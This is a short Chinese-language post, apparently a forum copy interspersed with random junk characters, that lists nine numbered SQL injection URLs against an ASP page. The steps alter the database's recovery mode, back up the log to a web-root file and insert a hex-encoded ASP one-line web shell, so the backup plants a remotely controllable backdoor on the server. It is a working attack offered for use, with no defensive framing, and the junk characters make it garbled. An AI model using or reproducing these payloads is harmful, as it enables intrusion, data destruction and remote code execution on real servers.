第一步+ I5 A! t6 O3 g# G$ l- ~
http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--% w) B1 T0 W/ d# k: a3 P
/ d, x6 W% k! T# ?2 l
第二步:2 f& M' ~& j0 K
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--# N* A" S3 `6 X+ x) J
3 j T9 [! a1 T( F) m9 {* q& D
第三步
4 Y/ H4 p3 x! z' Ihttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--* [- A. c. U! S6 } D9 _+ O
" Y1 m% p/ g# q0 f% Q% ?第四步: v- U* f8 [/ c
http://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--8 t+ Z7 _' T% w( }! a2 Q
. W2 V: }% M. ]% @/ T1 F第五步
/ m# I" e6 n! ]/ p+ L- c8 ~& U# Khttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
2 T) V7 W! z! u" F8 I( V" P8 B9 u' A( o0 ^7 q! R& ~5 I
第六步# l2 j% J L0 [6 D
http://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--
. E! D8 T% J1 c7 U2 m4 R3 ^: P3 V* U; |2 S+ [& S8 i7 }5 y
第七步) h! i- K0 T8 n
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--% J" S. K# g( ^6 g7 j
+ M. H( I+ Z5 ~! Q
第八步& m _( c3 D6 e" J
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--* H u+ r* K2 d; |" l
z% `9 S, s( b6 F5 r# z/ r
第九步
( ^: I: B' C1 |8 b) Ghttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
8 |) c9 f. V4 S5 l0 M3 L& |7 t |